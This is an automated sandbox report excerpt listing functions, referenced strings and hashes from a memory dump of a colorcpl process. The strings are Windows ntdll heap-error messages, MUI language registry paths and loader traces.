Opcode Fuzzy Hash: 7860334fd3151ffab5e302573d5e960947494071251611b16406c048e083fc4e
Instruction Fuzzy Hash: 4DB09BB1D015C5C5D641E7605608B0B7B0567D1B01FD9C161E3030645F4738C1D1E175

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 1E6EFCAB Relevance: 31.4, Strings: 25, Instructions: 195COMMON

Download Yara Rule

Strings

heap_failure_buffer_overrun, xrefs: 1E6EFD3D
heap_failure_invalid_allocation_type, xrefs: 1E6EFD59
heap_failure_block_not_busy, xrefs: 1E6EFD4B
heap_failure_lfh_bitmap_mismatch, xrefs: 1E6EFD7C
Heap error detected at %p (heap handle %p), xrefs: 1E6EFCF5
heap_failure_internal, xrefs: 1E6EFD13
heap_failure_buffer_underrun, xrefs: 1E6EFD44
heap_failure_invalid_argument, xrefs: 1E6EFD52
heap_failure_virtual_block_corruption, xrefs: 1E6EFD36
heap_failure_cross_heap_operation, xrefs: 1E6EFD67
heap_failure_freelists_corruption, xrefs: 1E6EFD6E
Last known valid blocks: before - %p, after - %p, xrefs: 1E6EFEEA
HEAP: , xrefs: 1E6EFCBB, 1E6EFCE2, 1E6EFDA9, 1E6EFDF4, 1E6EFE3D, 1E6EFE86, 1E6EFED7, 1E6EFF1F
heap_failure_generic, xrefs: 1E6EFD21
Parameter2: %p, xrefs: 1E6EFE4A
Stack trace available at %p, xrefs: 1E6EFF2B
Error code: %d - %s, xrefs: 1E6EFDB7
heap_failure_usage_after_free, xrefs: 1E6EFD60
heap_failure_unknown, xrefs: 1E6EFD1A
heap_failure_multiple_entries_corruption, xrefs: 1E6EFD2F
Parameter1: %p, xrefs: 1E6EFE01
Parameter3: %p, xrefs: 1E6EFE93
heap_failure_listentry_corruption, xrefs: 1E6EFD75
heap_failure_entry_corruption, xrefs: 1E6EFD28
HEAP[%wZ]: , xrefs: 1E6EFCD5, 1E6EFD9C, 1E6EFDE7, 1E6EFE30, 1E6EFE79, 1E6EFECA, 1E6EFF12

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: Error code: %d - %s$HEAP: $HEAP[%wZ]: $Heap error detected at %p (heap handle %p)$Last known valid blocks: before - %p, after - %p$Parameter1: %p$Parameter2: %p$Parameter3: %p$Stack trace available at %p$heap_failure_block_not_busy$heap_failure_buffer_overrun$heap_failure_buffer_underrun$heap_failure_cross_heap_operation$heap_failure_entry_corruption$heap_failure_freelists_corruption$heap_failure_generic$heap_failure_internal$heap_failure_invalid_allocation_type$heap_failure_invalid_argument$heap_failure_lfh_bitmap_mismatch$heap_failure_listentry_corruption$heap_failure_multiple_entries_corruption$heap_failure_unknown$heap_failure_usage_after_free$heap_failure_virtual_block_corruption
API String ID: 0-2897834094
Opcode ID: f227d808b27bdca2a9dae733562b780faa08d64ac3ccddb57ae3189d8862c746
Instruction ID: 924a3df53758d45a9ee92a725bc21100a689a86f27e9df1735fb1e08ab3ae6fd
Opcode Fuzzy Hash: f227d808b27bdca2a9dae733562b780faa08d64ac3ccddb57ae3189d8862c746
Instruction Fuzzy Hash: C161AEB69131D3EFD201DF55D984E5077F5EB0A720BCA47AAE8015FB92C634ACC09E45

Uniqueness

Uniqueness Score: -1.00%

Function 1E6D5910 Relevance: 18.5, Strings: 14, Instructions: 963COMMON

Download Yara Rule

Strings

\Registry\Machine\System\CurrentControlSet\Control\NLS\Language, xrefs: 1E6D5FE1
@, xrefs: 1E6D647A
Control Panel\Desktop, xrefs: 1E6D615E
LanguageConfigurationPending, xrefs: 1E6D6221
\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 1E6D635D
PreferredUILanguagesPending, xrefs: 1E6D61D2
LanguageConfiguration, xrefs: 1E6D6420
PreferredUILanguages, xrefs: 1E6D63D1
*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlpSetPreferredUILanguages is not a valid multi-string!, xrefs: 1E6D5A84
@, xrefs: 1E6D61B0
@, xrefs: 1E6D6027
InstallLanguageFallback, xrefs: 1E6D6050
@, xrefs: 1E6D63A0
@, xrefs: 1E6D6277

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlpSetPreferredUILanguages is not a valid multi-string!$@$@$@$@$@$Control Panel\Desktop$InstallLanguageFallback$LanguageConfiguration$LanguageConfigurationPending$PreferredUILanguages$PreferredUILanguagesPending$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings$\Registry\Machine\System\CurrentControlSet\Control\NLS\Language
API String ID: 0-1325123933
Opcode ID: d2e7d42d81cab582a5698391366c66602756b3d108aabd76e2265538ac15b6e1
Instruction ID: 50ce636c0ddef9cb9054505f316e9bbf7c58d4a941c578405be85f3ae743bdb8
Opcode Fuzzy Hash: d2e7d42d81cab582a5698391366c66602756b3d108aabd76e2265538ac15b6e1
Instruction Fuzzy Hash: 577239759083819BD311CF29C850BABB7E9BF88714FC04A2EF9D5D7250EB34D8498B96

Uniqueness

Uniqueness Score: -1.00%

Function 1E6DF99B Relevance: 10.2, Strings: 8, Instructions: 189COMMON

Download Yara Rule

Strings

Specified HeapBase (%p) != to BaseAddress (%p), xrefs: 1E6DFB32
Invalid ReserveSize parameter - %Ix, xrefs: 1E6DF9EB
Specified HeapBase (%p) invalid, Status = %lx, xrefs: 1E6DFAE4
Specified HeapBase (%p) is free or not writable, xrefs: 1E6DFB78
Invalid CommitSize parameter - %Ix, xrefs: 1E6DFA32
HEAP: , xrefs: 1E6DF9DF, 1E6DFA24, 1E6DFA70, 1E6DFAD5, 1E6DFB23, 1E6DFB6A
HEAP[%wZ]: , xrefs: 1E6DF9D2, 1E6DFA17, 1E6DFA63, 1E6DFAC8, 1E6DFB16, 1E6DFB5D
May not specify Lock parameter with HEAP_NO_SERIALIZE, xrefs: 1E6DFA7B

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Invalid CommitSize parameter - %Ix$Invalid ReserveSize parameter - %Ix$May not specify Lock parameter with HEAP_NO_SERIALIZE$Specified HeapBase (%p) != to BaseAddress (%p)$Specified HeapBase (%p) invalid, Status = %lx$Specified HeapBase (%p) is free or not writable
API String ID: 0-2224505338
Opcode ID: 74d53fa2ec2a2c7872958d48c4d43e6b80a9abf2486745cae6cf9db6557c7ae7
Instruction ID: 6c4530329abfe68f0aec782544ac847c9005760f7c697d1b1272a022bd06c4a5
Opcode Fuzzy Hash: 74d53fa2ec2a2c7872958d48c4d43e6b80a9abf2486745cae6cf9db6557c7ae7
Instruction Fuzzy Hash: B751AE36A12296EFC711CF94C8A4E9AB7E5FF0AB24FD88725E4419F251C670ACC4CE14

Uniqueness

Uniqueness Score: -1.00%

Function 1E6B9C32 Relevance: 6.8, Strings: 5, Instructions: 542COMMON

Download Yara Rule

Strings

AVRF: Verifier .dlls must not have thread locals, xrefs: 1E6BA12D
@, xrefs: 1E6B9E80
L, xrefs: 1E6BA2FB
KnownDllPath, xrefs: 1E6B9CF9
\KnownDlls32, xrefs: 1E6B9C67

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: @$AVRF: Verifier .dlls must not have thread locals$KnownDllPath$L$\KnownDlls32
API String ID: 0-3127649145
Opcode ID: 7398ded717a75cf6bf430eb36ad90eeb51f0c9a927fd86045c4970ee9d7b0837
Instruction ID: d6faad4d862cac2c20dcb27abc37edbc968ea9e88c07715424e22669c59f88e7
Opcode Fuzzy Hash: 7398ded717a75cf6bf430eb36ad90eeb51f0c9a927fd86045c4970ee9d7b0837
Instruction Fuzzy Hash: 8E326A74E017199BDB61CF25CC88B9AB7F9FF48304F9046EAD509A7250EB71AA84CF44

Uniqueness

Uniqueness Score: -1.00%

Function 1E649950 Relevance: 6.7, Strings: 5, Instructions: 462COMMON

Download Yara Rule

Strings

, xrefs: 1E6499F1
Status != STATUS_SXS_SECTION_NOT_FOUND, xrefs: 1E6976A3
minkernel\ntdll\sxsisol.cpp, xrefs: 1E6976AD
Internal error check failed, xrefs: 1E6976B2
, xrefs: 1E6499F9

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: $ $Internal error check failed$Status != STATUS_SXS_SECTION_NOT_FOUND$minkernel\ntdll\sxsisol.cpp
API String ID: 0-3393094623
Opcode ID: af1ff19cd8b47a5c654dc63671f7c2c2942d666374ac1c92f47ff4f950a63443
Instruction ID: f8e9d36a766570df53da6a6966a72276233961cd186f8a3cf9e79368501e6b4d
Opcode Fuzzy Hash: af1ff19cd8b47a5c654dc63671f7c2c2942d666374ac1c92f47ff4f950a63443
Instruction Fuzzy Hash: 30028075948382CFD320CF65C090B9BB7E6BF89754FA58A1EE898C7250E774D844CB92

Uniqueness

Uniqueness Score: -1.00%

Function 1E6DFD78 Relevance: 6.4, Strings: 5, Instructions: 190COMMON

Download Yara Rule

Strings

About to free block at %p with tag %ws, xrefs: 1E6DFF7E
About to free block at %p, xrefs: 1E6DFE8A
RtlFreeHeap, xrefs: 1E6DFDC8, 1E6DFE32
HEAP: , xrefs: 1E6DFE79, 1E6DFF64
HEAP[%wZ]: , xrefs: 1E6DFE6C, 1E6DFF57

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: About to free block at %p$About to free block at %p with tag %ws$HEAP: $HEAP[%wZ]: $RtlFreeHeap
API String ID: 0-3492000579
Opcode ID: 8d2ba58a9fc4a6b8d96af14d13ef10176dc0bc2ff332e5f5c4657a2bd4210efa
Instruction ID: e66b4ed93a96d63fb0b2e9a747e4dd1f120d7031e7d992c86c068e7922c3bb45
Opcode Fuzzy Hash: 8d2ba58a9fc4a6b8d96af14d13ef10176dc0bc2ff332e5f5c4657a2bd4210efa
Instruction Fuzzy Hash: E771DF35902296DFCB01CFA8C490AADFBF6FF4A304FC48659E4859B792C735A984CB54

Uniqueness

Uniqueness Score: -1.00%

Function 1E65DB00 Relevance: 6.4, Strings: 5, Instructions: 133COMMON

Download Yara Rule

Strings

, passed to %s, xrefs: 1E69F662
RtlUnlockHeap, xrefs: 1E69F65D
Invalid heap signature for heap at %p, xrefs: 1E69F653
HEAP: , xrefs: 1E69F647
HEAP[%wZ]: , xrefs: 1E69F63A

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlUnlockHeap
API String ID: 0-3224558752
Opcode ID: 4d5e6a94eb59edcbfb4042c17ab89ac6bfdbee509295c2118f6d2743304e19d6
Instruction ID: f7e55367e80a3ace4b79093668dd00621a22bebf28c6a9629cdb0b10984bd19e
Opcode Fuzzy Hash: 4d5e6a94eb59edcbfb4042c17ab89ac6bfdbee509295c2118f6d2743304e19d6
Instruction Fuzzy Hash: 0B414871A11792DFD702CF24C894BAAB7B6EF06364F908769D4024B791CB78A8C1DB91

Uniqueness

Uniqueness Score: -1.00%

Function 1E6BFD2A Relevance: 6.4, Strings: 5, Instructions: 115COMMON

Download Yara Rule

Strings

Language:, xrefs: 1E6BFD6B
Item:, xrefs: 1E6BFD7A
Name:, xrefs: 1E6BFD5C
SR - , xrefs: 1E6BFDA2
Type:, xrefs: 1E6BFD43

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: Item:$ Language:$ Name:$SR - $Type:
API String ID: 0-3082644519
Opcode ID: 5afd4b03b0727628de34a4bdb757a054f0caaf6836ed3bce18b4579b0d125c02
Instruction ID: 6d8252f17c61398e03d74b5eea5e52b481e520b407b2a7d3789d69a5875540c0
Opcode Fuzzy Hash: 5afd4b03b0727628de34a4bdb757a054f0caaf6836ed3bce18b4579b0d125c02
Instruction Fuzzy Hash: 7441B176A01268ABCB20CB65CC48BDAB7BCAF46300F8446D5A449A7250DF35AE84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 1E65D9D0 Relevance: 6.4, Strings: 5, Instructions: 108COMMON

Download Yara Rule

Strings

Inspecting leaks at process shutdown ..., xrefs: 1E69F3C1
No leaks detected., xrefs: 1E69F49A
%ld leaks detected., xrefs: 1E69F452
HEAP: , xrefs: 1E69F38D, 1E69F3BA, 1E69F445, 1E69F493
HEAP[%wZ]: , xrefs: 1E69F3AD, 1E69F438, 1E69F486

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: %ld leaks detected.$HEAP: $HEAP[%wZ]: $Inspecting leaks at process shutdown ...$No leaks detected.
API String ID: 0-1155200129
Opcode ID: c5cc0878f3ba7f86d5062062c11e0779c4fe62fc94a69bd4106b44e768c04384
Instruction ID: abcf3ee734d314a0444a845c380e63e6643ce65002425522f7265e517128d4ea
Opcode Fuzzy Hash: c5cc0878f3ba7f86d5062062c11e0779c4fe62fc94a69bd4106b44e768c04384
Instruction Fuzzy Hash: 6C31B375612682DFD6119B64CA84F2273E9EF46F60FC28B26E4014B752DB34ACC1DF04

Uniqueness

Uniqueness Score: -1.00%

Function 1E65DBA0 Relevance: 6.3, Strings: 5, Instructions: 84COMMON

Download Yara Rule

Strings

, passed to %s, xrefs: 1E69F7A8
RtlLockHeap, xrefs: 1E69F7A3
Invalid heap signature for heap at %p, xrefs: 1E69F799
HEAP: , xrefs: 1E69F78D
HEAP[%wZ]: , xrefs: 1E69F780

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlLockHeap
API String ID: 0-1222099010
Opcode ID: 63f9551a89437cbed5dc165c25da7546f6d9008f7d35d8fc822709ff9ff1ad36
Instruction ID: 8fe82758c541c1a4429dfa9ceea96f0de85839f71db0ed2c84a1c3d5e65bac1f
Opcode Fuzzy Hash: 63f9551a89437cbed5dc165c25da7546f6d9008f7d35d8fc822709ff9ff1ad36
Instruction Fuzzy Hash: BD3196786057D1DFD312CB24C804B9A7BE9EF02790F804794E4424B792C7B8B8C0CB11

Uniqueness

Uniqueness Score: -1.00%

Function 1E6276B2 Relevance: 6.3, Strings: 5, Instructions: 51COMMON

Download Yara Rule

Strings

, passed to %s, xrefs: 1E68B040
RtlFreeHeap, xrefs: 1E68B03F
Invalid heap signature for heap at %p, xrefs: 1E68B02F
HEAP: , xrefs: 1E68B023
HEAP[%wZ]: , xrefs: 1E68B016

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlFreeHeap
API String ID: 0-3061284088
Opcode ID: f408124e906f9d35ac75b54439083c53bed2b43346f6c1a54c1f48f842079f89
Instruction ID: c20341883408e78bb5e51e89fbe3a22f0c8eeb04b6b5367746cbf5d0a13f7451
Opcode Fuzzy Hash: f408124e906f9d35ac75b54439083c53bed2b43346f6c1a54c1f48f842079f89
Instruction Fuzzy Hash: ED014C3A4052E1DED33A9714D818F927BE4DB47770FD44329E0024B751CBE8BC80CA24

Uniqueness

Uniqueness Score: -1.00%

Function 1E63BEC0 Relevance: 5.7, Strings: 4, Instructions: 694COMMON

Download Yara Rule

Strings

.mun, xrefs: 1E63C125
SystemResources\, xrefs: 1E63C698
$, xrefs: 1E63BF28
.mui, xrefs: 1E63C12C, 1E63C131

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: $$.mui$.mun$SystemResources\
API String ID: 0-3047833772
Opcode ID: 2d76ab2d624bc89371c62870fd286828a92a51b8f04bc2660aef1a3df612f693
Instruction ID: 97bc484c42d182a629018dcd5df82eaa82b137ac7ab3852d8e4932bbfbc16945
Opcode Fuzzy Hash: 2d76ab2d624bc89371c62870fd286828a92a51b8f04bc2660aef1a3df612f693
Instruction Fuzzy Hash: C7623A76A003698FCB24CF55CC40BD9B7B9BB0A311F9446EAE40DA7A54D7319E84CF52

Uniqueness

Uniqueness Score: -1.00%

Function 1E643D40 Relevance: 5.4, Strings: 3, Instructions: 1603COMMON

Download Yara Rule

Strings

HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 1E644393, 1E6445CB, 1E64486D
HEAP: , xrefs: 1E64437C, 1E6445B4, 1E644853
HEAP[%wZ]: , xrefs: 1E64436D, 1E6445A5, 1E644844

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: af2d23da7195befad4445e6878cd34a41339eff434baf8bf685f042a5eefa739
Instruction ID: f0b516f21badffb43c5e2b693f866954623213dcafcd426127afeac46ffea5af
Opcode Fuzzy Hash: af2d23da7195befad4445e6878cd34a41339eff434baf8bf685f042a5eefa739
Instruction Fuzzy Hash: 87E2C174A00255CFDB15CF69C491BADBBF2FF4A304FA482A9D849AB385D730A845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 1E62F626 Relevance: 5.2, Strings: 4, Instructions: 188COMMON

Download Yara Rule

Strings

`, xrefs: 1E68E428
ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 1E68E563
HEAP: , xrefs: 1E68E54E
HEAP[%wZ]: , xrefs: 1E68E3FE

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID: InitializeThunk
String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
API String ID: 2994545307-2586055223
Opcode ID: 0c45c94be7ceca3431ec96d668cdb6ac89f88cb1368c422582ec0270237a52c0
Instruction ID: 01ffb20394dcbc1b5487c50cf313ab80ab64cb0843ebb81e068b879d06a8d19e
Opcode Fuzzy Hash: 0c45c94be7ceca3431ec96d668cdb6ac89f88cb1368c422582ec0270237a52c0
Instruction Fuzzy Hash: D8613176206382AFE311CB24CC54F57B7E9EF81B10F840B29F9959B291C734E881CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1E6B19EE Relevance: 5.1, Strings: 4, Instructions: 85COMMON

Download Yara Rule

Strings

.txt, xrefs: 1E6B1A64
.txt2, xrefs: 1E6B1A7D
stxt371, xrefs: 1E6B1A4C
BoG_ *90.0&!! Yy>, xrefs: 1E6B1A13

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: .txt$.txt2$BoG_ *90.0&!! Yy>$stxt371
API String ID: 0-1880532218
Opcode ID: f42c35c776c17d1761f9273ef398cb49336c28f0390dcfd98733cc70a6a63081
Instruction ID: 17d1e6f22a8085fd389791d23c074a608756640556520e2543ff16c35d930efa
Opcode Fuzzy Hash: f42c35c776c17d1761f9273ef398cb49336c28f0390dcfd98733cc70a6a63081
Instruction Fuzzy Hash: C5212136F01240FBC701CB588C51BAAB3F9AF85704F8A426AE845EB341E738EA01C344

Uniqueness

Uniqueness Score: -1.00%

Function 1E6DFCDF Relevance: 5.1, Strings: 4, Instructions: 54COMMON

Download Yara Rule

Strings

May not destroy the process heap at %p, xrefs: 1E6DFD28
HEAP: , xrefs: 1E6DFD1C
HEAP[%wZ]: , xrefs: 1E6DFD0F
RtlDestroyHeap, xrefs: 1E6DFD39

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $May not destroy the process heap at %p$RtlDestroyHeap
API String ID: 0-4256168463
Opcode ID: 43e2732c3f94691d49cb57cfffad7ebcf8323f77c3ea48b2d85b240b144256b6
Instruction ID: 12072fe3a5a040c722691099fad280b0ee6cb9291b281386247f99233513c414
Opcode Fuzzy Hash: 43e2732c3f94691d49cb57cfffad7ebcf8323f77c3ea48b2d85b240b144256b6
Instruction Fuzzy Hash: A901C036512751DBCB11DF64C810B8673EAFF03750FC04B65E4829B280DB34ED89CA68

Uniqueness

Uniqueness Score: -1.00%

Function 1E641F92 Relevance: 4.3, Strings: 3, Instructions: 563COMMON

Download Yara Rule

Strings

HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 1E64216B, 1E695E68, 1E696016, 1E696160
HEAP: , xrefs: 1E64212E, 1E695E53, 1E696001, 1E69614B
HEAP[%wZ]: , xrefs: 1E642155, 1E695E46, 1E695FF4, 1E69613E

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: d20a99c12f7496c425281ebf43afee9a77f818e9e659f1702b9f21640220f1de
Instruction ID: b1afa92f9b474ff1f6d9a61a9bdf70959829f9ca497904c9a4b0362a7db6e2ed
Opcode Fuzzy Hash: d20a99c12f7496c425281ebf43afee9a77f818e9e659f1702b9f21640220f1de
Instruction Fuzzy Hash: B422E270A00696DFDB05CF24C4A4B7ABBF6FF06B04FA48659E4558B381D775E881CB60

Uniqueness

Uniqueness Score: -1.00%

Function 1E6C3A78 Relevance: 4.1, Strings: 3, Instructions: 398COMMON

Download Yara Rule

Strings

PE, xrefs: 1E6C3C42
LdrpResSearchResourceHandle Exit, xrefs: 1E6C3AF1
LdrpResSearchResourceHandle Enter, xrefs: 1E6C3AD6

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: LdrpResSearchResourceHandle Enter$LdrpResSearchResourceHandle Exit$PE
API String ID: 0-1168191160
Opcode ID: c3ada28e05765860cc9ee3f6e87bfab3ff161049f60d2e5210bf55daed91fa6c
Instruction ID: 387538be35cbe1e06e66af80850defddd6d795cc1baa56cf6cf0ae00ae2e52d5
Opcode Fuzzy Hash: c3ada28e05765860cc9ee3f6e87bfab3ff161049f60d2e5210bf55daed91fa6c
Instruction Fuzzy Hash: EAF1B4B5A412698BCB20CF15CC90BDDB3B6EF59304F9586EAD609A7240E7319F81CF58

Uniqueness

Uniqueness Score: -1.00%

Function 1E63BAA0 Relevance: 4.1, Strings: 3, Instructions: 361COMMON

Download Yara Rule

Strings

'LDR: %s(), invalid image format of MUI file , xrefs: 1E693AB4
{, xrefs: 1E693ABD
LdrpLoadResourceFromAlternativeModule, xrefs: 1E693AAF

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: 'LDR: %s(), invalid image format of MUI file $LdrpLoadResourceFromAlternativeModule${
API String ID: 0-1697150599
Opcode ID: 2fe65eadcd271fd639b9898e3531f88313144dc128a3fce416d5a08ee5871bc4
Instruction ID: 6884af9337c5d37c22bd5b5ca889dc9504818701ad444bc666e80d187df47493
Opcode Fuzzy Hash: 2fe65eadcd271fd639b9898e3531f88313144dc128a3fce416d5a08ee5871bc4
Instruction Fuzzy Hash: 22E1AA346083828FD314CF15C590B6BB7E2AF85746FA18A2DF88A8B354DB75DD45CB82

Uniqueness

Uniqueness Score: -1.00%

Function 1E63B6C0 Relevance: 4.1, Strings: 3, Instructions: 303COMMON

Download Yara Rule

Strings

MUI, xrefs: 1E63B6D8, 1E63B7E7
LdrResGetRCConfig Enter, xrefs: 1E63B702
LdrResGetRCConfig Exit, xrefs: 1E63B714

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit$MUI
API String ID: 0-1145731471
Opcode ID: 0bca75221293d0390f273995a2f216d362d80fccb95041a1e35fd252520e3fc8
Instruction ID: 5520cab278f83d62cc6c5d81d3ea06de7a4f9f92e8936816cfe0ae08791ece1e
Opcode Fuzzy Hash: 0bca75221293d0390f273995a2f216d362d80fccb95041a1e35fd252520e3fc8
Instruction Fuzzy Hash: 09B1EC75E556458FCB15CF69CA90B9DB7B6EF85320FA54A29E816EB780D334EC40CB00

Uniqueness

Uniqueness Score: -1.00%

Function 1E6B368C Relevance: 4.0, Strings: 3, Instructions: 292COMMON

Download Yara Rule

Strings

@, xrefs: 1E6B389F
\SystemRoot\system32\, xrefs: 1E6B3842
DelegatedNtdll, xrefs: 1E6B36CE

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: @$DelegatedNtdll$\SystemRoot\system32\
API String ID: 0-2391371766
Opcode ID: 01f931c3bfedb244fde47c9f731da309e122917501cbd964745c9234de2b0986
Instruction ID: 214258f06ccf7ddb9f62b601e3e7b4b0b7f5a0bec6bfeb518273172871cfd61b
Opcode Fuzzy Hash: 01f931c3bfedb244fde47c9f731da309e122917501cbd964745c9234de2b0986
Instruction Fuzzy Hash: 6EB1B0B5B45392AFE311DF55C890F5BB7E8FB49710F910A2AFA409B250D7B0E804CB96

Uniqueness

Uniqueness Score: -1.00%

Function 1E6D3B60 Relevance: 4.0, Strings: 3, Instructions: 280COMMON

Download Yara Rule

Strings

@, xrefs: 1E6D3C2D
@, xrefs: 1E6D3D4F
\Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages, xrefs: 1E6D3BF2

Memory Dump Source

Source File: 00000003.00000002.2404040114.000000001E600000.00000040.00001000.00020000.00000000.sdmp, Offset: 1E600000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1e600000_colorcpl.jbxd

Similarity

API ID:
String ID: @$@$\Registry\Machine\System\CurrentControlSet\Control\MUI\UILanguages
API String ID: 0-1146358195
Opcode ID: 48a8cae36c01eacdbb0894482ffe6fae30705b6067e150083a634196391f1192
Instruction ID: 7c29d4eadf1b2de5323d6884f560673e3db886cabe59cba2b85111e9cc8cca95
Opcode Fuzzy Hash: 48a8cae36c01eacdbb0894482ffe6fae30705b6067e150083a634196391f1192
Instruction Fuzzy Hash: A1A15B75A493929BD311CF24C880B5BBBE9BF88B54F810A2DF9D497250D730ED08CB96

Uniqueness

Uniqueness Score: -1.00%

Function 1E62F910 Relevance: 4.0, Strings: 3, Instructions: 263COMMON

Download Yara Rule

Strings

(HeapHandle != NULL), xrefs: 1E68E719
HEAP: , xrefs: 1E68E70E
HEAP[%wZ]: , xrefs: 1E68E701

Memory Dump Source

